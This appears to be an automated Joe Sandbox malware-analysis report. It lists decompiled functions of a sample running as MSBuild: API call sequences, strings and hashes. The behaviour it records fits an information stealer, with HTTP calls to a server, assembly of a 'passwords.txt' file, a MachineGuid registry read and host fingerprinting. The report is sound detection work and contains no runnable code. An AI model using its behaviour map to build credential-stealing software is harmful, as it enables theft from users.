lstrlenA.KERNEL32(00000000,?,00000000), ref: 00404BFF
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00404C10
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 00404C37
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00404CB9
StrCmpCA.SHLWAPI(00000000,block), ref: 00404CD1
ExitProcess.KERNEL32 ref: 00404CDC
InternetCloseHandle.WININET(?), ref: 00404CEC

Strings

file_data, xrefs: 00404AE5
", xrefs: 004049C1
------, xrefs: 0040451D
------, xrefs: 0040464D
ERROR, xrefs: 00404DBB
", xrefs: 0040486F
", xrefs: 00404B0F
--, xrefs: 00404544
/, xrefs: 00404C97
block, xrefs: 00404CC3
", xrefs: 00404720
build_id, xrefs: 00404845
------, xrefs: 004048EE
------, xrefs: 0040479D
------, xrefs: 00404A3D
ERROR, xrefs: 00404C44

Memory Dump Source

Source File: 00000001.00000002.2042878342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2042878342.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$H_prologHeap$HttpProcessmemcpy$AllocOpenRequestlstrcat$BinaryCloseConnectCrackCryptExitFileHandleInfoOptionQueryReadSendString
String ID: ------$"$"$"$"$--$------$------$------$------$/$ERROR$ERROR$block$build_id$file_data
API String ID: 2658035217-3274521816
Opcode ID: 55ed085d277c474f36801abdb5871a2e9711e2d2595ca9f7e5e1cdb52fd56dac
Instruction ID: 11be5296a5fba78ccfa74642cc821248e7657d66928f859353594ff17aad1918
Opcode Fuzzy Hash: 55ed085d277c474f36801abdb5871a2e9711e2d2595ca9f7e5e1cdb52fd56dac
Instruction Fuzzy Hash: 90624EB190014DEADB11EBE0C956BEEBBB8AF18308F50417EE505735C2DA786B4CCB65

Function 0040C27B Relevance: 42.3, APIs: 23, Strings: 1, Instructions: 296
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 0040C280

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Part of subcall function 00410B5C: _EH_prolog.MSVCRT ref: 00410B61
Part of subcall function 00410B5C: GetSystemTime.KERNEL32(?,00426440,00000001,000000C8,00000000,00426562), ref: 00410BA1

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426AC0,?,00000000,0042656F), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 0040FA28: _EH_prolog.MSVCRT ref: 0040FA2D
Part of subcall function 0040FA28: lstrcpy.KERNEL32(00000000), ref: 0040FA79
Part of subcall function 0040FA28: lstrcat.KERNEL32(?,?), ref: 0040FA83

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040C378
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0040C3D9
RtlAllocateHeap.NTDLL(00000000), ref: 0040C3E0
lstrlenA.KERNEL32(00000000,00000000), ref: 0040C470
lstrcat.KERNEL32(00000000), ref: 0040C487
lstrcat.KERNEL32(00000000,00000000), ref: 0040C499
lstrcat.KERNEL32(00000000,00425B50), ref: 0040C4A7
lstrcat.KERNEL32(00000000,00000000), ref: 0040C4B9
lstrcat.KERNEL32(00000000,00425B54), ref: 0040C4C7
lstrcat.KERNEL32(00000000), ref: 0040C4D6
lstrcat.KERNEL32(00000000,00000000), ref: 0040C4E8
lstrcat.KERNEL32(00000000,00425B58), ref: 0040C4F6
lstrcat.KERNEL32(00000000), ref: 0040C505
lstrcat.KERNEL32(00000000,00000000), ref: 0040C517
lstrcat.KERNEL32(00000000,00425B5C), ref: 0040C525
lstrcat.KERNEL32(00000000), ref: 0040C534
lstrcat.KERNEL32(00000000,00000000), ref: 0040C546
lstrcat.KERNEL32(00000000,00425B60), ref: 0040C554
lstrcat.KERNEL32(00000000,00425B64), ref: 0040C562
lstrlenA.KERNEL32(00000000), ref: 0040C596
memset.MSVCRT ref: 0040C5E9
DeleteFileA.KERNEL32(00000000), ref: 0040C616

Part of subcall function 004063B1: _EH_prolog.MSVCRT ref: 004063B6
Part of subcall function 004063B1: memcmp.MSVCRT ref: 004063DC
Part of subcall function 004063B1: memset.MSVCRT ref: 0040640B
Part of subcall function 004063B1: LocalAlloc.KERNEL32(00000040,-000000E1,?,?,?,?,00000000,00000000), ref: 00406440

Strings

passwords.txt, xrefs: 0040C5A8

Memory Dump Source

Source File: 00000001.00000002.2042878342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2042878342.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$H_prolog$lstrcpy$lstrlen$FileHeapmemset$AllocAllocateCopyDeleteLocalProcessSystemTimememcmp
String ID: passwords.txt
API String ID: 3298853120-347816968
Opcode ID: 4b1ff610774e8c77471883ccd83e1c17f67f4a4143a384f07f00799f4a19b9b8
Instruction ID: 1ecdebe3f11d8fac3e9d0efa643fe933af64b4fe52e77a22e07e9b20bef025ed
Opcode Fuzzy Hash: 4b1ff610774e8c77471883ccd83e1c17f67f4a4143a384f07f00799f4a19b9b8
Instruction Fuzzy Hash: 98C16971800159EEDB15EBE4ED1AEEEBB75BF18304F10403AF511721E1DB782A09DB25

Function 004041B2 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 170networkmemoryfileCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 004041B7

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Part of subcall function 00403A54: _EH_prolog.MSVCRT ref: 00403A59
Part of subcall function 00403A54: ??_U@YAPAXI@Z.MSVCRT ref: 00403A8B
Part of subcall function 00403A54: ??_U@YAPAXI@Z.MSVCRT ref: 00403A94
Part of subcall function 00403A54: ??_U@YAPAXI@Z.MSVCRT ref: 00403A9D
Part of subcall function 00403A54: lstrlenA.KERNEL32(00000000,00000000,?,?,00000001,000000C8), ref: 00403AB7
Part of subcall function 00403A54: InternetCrackUrlA.WININET(00000000,00000000,?,00000001), ref: 00403AC7

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 004041FE
RtlAllocateHeap.NTDLL(00000000), ref: 00404205
InternetOpenA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00404224
StrCmpCA.SHLWAPI(?), ref: 00404238
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040425C
HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00404292
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 004042B6
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004042C1
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 004042DF
InternetReadFile.WININET(00000000,?,00000400,?), ref: 00404337
InternetCloseHandle.WININET(00000000), ref: 00404369
InternetCloseHandle.WININET(?), ref: 00404372
InternetCloseHandle.WININET(?), ref: 0040437B

Strings

GET, xrefs: 0040428A

Memory Dump Source

Source File: 00000001.00000002.2042878342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2042878342.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$H_prologHeapOpenRequest$AllocateConnectCrackFileInfoOptionProcessQueryReadSendlstrcpylstrlen
String ID: GET
API String ID: 1687531150-1805413626
Opcode ID: 5c17fe2671a6e7da2559d3110b2e5ff5de3778f8e7e7f5b7b1cd9291ace094b3
Instruction ID: 7ce3078965428967d931fab95435fba2e2eaf60a30af71eeb75a30b69647e977
Opcode Fuzzy Hash: 5c17fe2671a6e7da2559d3110b2e5ff5de3778f8e7e7f5b7b1cd9291ace094b3
Instruction Fuzzy Hash: 07516DB2900219AFDB10EFE0CC85AEEBBB9EB49344F00513AFA01B2190D7785E45CB65

Function 00410071 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 178registrystringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00410076

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

RegOpenKeyExA.KERNEL32(?,00000000,00020019,?,0042626F,00000001,00000000), ref: 004100BE
RegEnumKeyExA.KERNEL32(?,?,?,?,00000000,00000000,00000000,00000000), ref: 00410108
wsprintfA.USER32 ref: 00410132
RegOpenKeyExA.KERNEL32(?,?,00000000,00020019,?), ref: 0041014F
RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?), ref: 00410179
lstrlenA.KERNEL32(?), ref: 0041018E
RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?,00000000,?,?,00000000,?,00426298), ref: 0041020E

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Strings

?, xrefs: 004100B4
%s\%s, xrefs: 0041012C
- , xrefs: 00410218

Memory Dump Source

Source File: 00000001.00000002.2042878342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2042878342.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: OpenQueryValuelstrcpy$EnumH_prologlstrlenwsprintf
String ID: - $%s\%s$?
API String ID: 404191982-3278919252
Opcode ID: 063371d2b875b6717c154b92f163b7baa1dc5683eb4907d65be1d3fe8856eca0
Instruction ID: e683f53884952fc8e4340679726e39bda7e6eb295b9d2e7bf921829342b6fcae
Opcode Fuzzy Hash: 063371d2b875b6717c154b92f163b7baa1dc5683eb4907d65be1d3fe8856eca0
Instruction Fuzzy Hash: 177113B190021DEEDF11EFE1DD84EEEBBB9BB18304F10417AE905B2151DB785A88CB64

Function 004104DD Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 123memorystringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 004104E2
GetWindowsDirectoryA.KERNEL32(?,00000104,00000001,?,00000000), ref: 00410505
GetVolumeInformationA.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000,?,00000000), ref: 00410537
GetProcessHeap.KERNEL32(00000000,00000104,?,?,00000000), ref: 0041057A
HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 00410581
wsprintfA.USER32 ref: 004105AD
lstrcat.KERNEL32(00000000,00426248), ref: 004105BC

Part of subcall function 004104A2: GetCurrentHwProfileA.ADVAPI32(?), ref: 004104B3

lstrlenA.KERNEL32(00000000), ref: 004105DB

Part of subcall function 00411154: malloc.MSVCRT ref: 00411162
Part of subcall function 00411154: strncpy.MSVCRT ref: 00411172

lstrcat.KERNEL32(00000000,00000000), ref: 00410608

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Strings

:\, xrefs: 0041052D
C, xrefs: 0041050F

Memory Dump Source

Source File: 00000001.00000002.2042878342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2042878342.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heaplstrcat$AllocCurrentDirectoryH_prologInformationProcessProfileVolumeWindowslstrcpylstrlenmallocstrncpywsprintf
String ID: :\$C
API String ID: 688099012-3309953409
Opcode ID: 1522b66ae9d2de447abac276b6048746d7087383805eda5a4ea2a9c8c75e97bf
Instruction ID: 31ba2aefab9431e017bcb41f2bdcd0be11d417c1f72aa959c07d5e8bae5074a4
Opcode Fuzzy Hash: 1522b66ae9d2de447abac276b6048746d7087383805eda5a4ea2a9c8c75e97bf
Instruction Fuzzy Hash: 8D418071801158ABCB11EBE5DD89EEFBBBDEF4A304F10006EF505A3141EA385A48CBB5

Function 00413118 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 116stringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0041311D

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Part of subcall function 00404F2A: _EH_prolog.MSVCRT ref: 00404F2F
Part of subcall function 00404F2A: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404F92
Part of subcall function 00404F2A: StrCmpCA.SHLWAPI(?), ref: 00404FA6
Part of subcall function 00404F2A: InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404FC9
Part of subcall function 00404F2A: HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00404FFF
Part of subcall function 00404F2A: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00405023
Part of subcall function 00404F2A: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040502E
Part of subcall function 00404F2A: HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 0040504C

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0041319F
lstrlenA.KERNEL32(00000000), ref: 004131B6

Part of subcall function 00410D6D: LocalAlloc.KERNEL32(00000040,004131CC,000000C8,00000001,?,004131CB,00000000,00000000), ref: 00410D86

StrStrA.SHLWAPI(00000000,00000000), ref: 004131DD
lstrlenA.KERNEL32(00000000), ref: 004131F2
lstrlenA.KERNEL32(00000000), ref: 0041320D

Strings

ERROR, xrefs: 0041323F
ERROR, xrefs: 00413191
ERROR, xrefs: 00413231
ERROR, xrefs: 00413238
ERROR, xrefs: 0041321D

Memory Dump Source

Source File: 00000001.00000002.2042878342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2042878342.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: HttpInternetlstrcpylstrlen$H_prologOpenRequest$AllocConnectInfoLocalOptionQuerySend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3807055897-1526165396
Opcode ID: 2c86652b872a1e0dadd1c653e9dcbefc8a1b1809ca84a3556183aa192fa2429b
Instruction ID: 62ef994e2eebf51157d4abcec818fbc8b07954dcba3d20b807130a2a391ecf21
Opcode Fuzzy Hash: 2c86652b872a1e0dadd1c653e9dcbefc8a1b1809ca84a3556183aa192fa2429b
Instruction Fuzzy Hash: A341A4B1900258EACB11FFA5D956FDDB7B4AF18708F10017EF90173182DB786B48CA6A

Function 00410415 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 42registryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0041043B
RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Cryptography,00000000,00020119,004264F6,?,?,00000000), ref: 00410457
RegQueryValueExA.KERNEL32(004264F6,MachineGuid,00000000,00000000,?,000000FF,?,?,00000000), ref: 00410476
RegCloseKey.ADVAPI32(004264F6,?,?,00000000), ref: 0041047F
CharToOemA.USER32(?,?), ref: 00410493

Strings

SOFTWARE\Microsoft\Cryptography, xrefs: 0041044D
MachineGuid, xrefs: 0041046E

Memory Dump Source

Source File: 00000001.00000002.2042878342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2042878342.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CharCloseOpenQueryValuememset
String ID: MachineGuid$SOFTWARE\Microsoft\Cryptography
API String ID: 2391366103-1211650757
Opcode ID: 690c6a79ccc41db0391f32f940e07a5d4ef8664030ade9d40bd6695f658342bb
Instruction ID: 59bbf989d6e17c2dbf70e6b3d9441336261c3d0a51168b80e9bc1bfc74bcefc6
Opcode Fuzzy Hash: 690c6a79ccc41db0391f32f940e07a5d4ef8664030ade9d40bd6695f658342bb
Instruction Fuzzy Hash: BA014F7590421DFFEB10EB90DC8AFEABB7CEB14704F1000A5B244E2051EAB45EC88B60

Function 0041612D Relevance: 12.1, APIs: 8, Instructions: 109stringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00416132
lstrcat.KERNEL32(?,?), ref: 00416188

Part of subcall function 00410D21: SHGetFolderPathA.SHELL32(00000000,;\B,00000000,00000000,?), ref: 00410D52

lstrcat.KERNEL32(?,00000000), ref: 004161AE
lstrcat.KERNEL32(?,?), ref: 004161CE
lstrcat.KERNEL32(?,?), ref: 004161E2
lstrcat.KERNEL32(?), ref: 004161F5
lstrcat.KERNEL32(?,?), ref: 00416209
lstrcat.KERNEL32(?), ref: 0041621C

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Part of subcall function 00410CDD: _EH_prolog.MSVCRT ref: 00410CE2
Part of subcall function 00410CDD: GetFileAttributesA.KERNEL32(00000000,?,0040BAC2,?,00425BF6,?,?), ref: 00410CF6

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 00415E66: _EH_prolog.MSVCRT ref: 00415E6B
Part of subcall function 00415E66: GetProcessHeap.KERNEL32(00000000,0098967F,?,00000104), ref: 00415E83
Part of subcall function 00415E66: HeapAlloc.KERNEL32(00000000,?,00000104), ref: 00415E8A
Part of subcall function 00415E66: wsprintfA.USER32 ref: 00415EA2
Part of subcall function 00415E66: FindFirstFileA.KERNEL32(?,?), ref: 00415EB9
Part of subcall function 00415E66: StrCmpCA.SHLWAPI(?,00426894), ref: 00415ED6
Part of subcall function 00415E66: StrCmpCA.SHLWAPI(?,00426898), ref: 00415EF0
Part of subcall function 00415E66: wsprintfA.USER32 ref: 00415F14

Memory Dump Source

Source File: 00000001.00000002.2042878342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2042878342.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$H_prolog$FileHeapwsprintf$AllocAttributesFindFirstFolderPathProcesslstrcpy
String ID:
API String ID: 2058169020-0
Opcode ID: 27df2bee6747110bfdf8ae1cd169a3c4ba849b41f39ec8b444c4dbb6a37d260a
Instruction ID: c8bc0cfaec16e0a9c8e3cc6943dd29f550fca9c9c6472c90ce97e84fdf381955
Opcode Fuzzy Hash: 27df2bee6747110bfdf8ae1cd169a3c4ba849b41f39ec8b444c4dbb6a37d260a
Instruction Fuzzy Hash: A541FEB2D0022DAACF11EBE0DC49EDE77BCAF1D314F4005AAB505E3051EA78D7888B64

Function 0040618B Relevance: 10.6, APIs: 7, Instructions: 70filememoryCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00406190
CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 004061B3
GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 004061CA
LocalAlloc.KERNEL32(00000040,?,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 004061E6
ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,?,?,?,00000000), ref: 00406200
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 00406216
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 00406221

Memory Dump Source

Source File: 00000001.00000002.2042878342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2042878342.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeH_prologHandleReadSize
String ID:
API String ID: 3869837436-0
Opcode ID: 64a3422522f7e7e46d77fb1e68ae032180970e1801099016b3dac20f8dd4ba7d
Instruction ID: 909566f9f53506b5aa2d8709c9cb46b640c87a2d020782bf56f99dd61eaf9922
Opcode Fuzzy Hash: 64a3422522f7e7e46d77fb1e68ae032180970e1801099016b3dac20f8dd4ba7d
Instruction Fuzzy Hash: 6E218B70A00115ABDB20AFA4DC48EAFBBB9FF95710F20056EF952E62D4D7389911CB64

Function 0041064B Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000001,?,?,?,00414A17,00000000,?,Windows: ,00000000,?,004265CC,00000000,?,Work Dir: In memory), ref: 0041065F
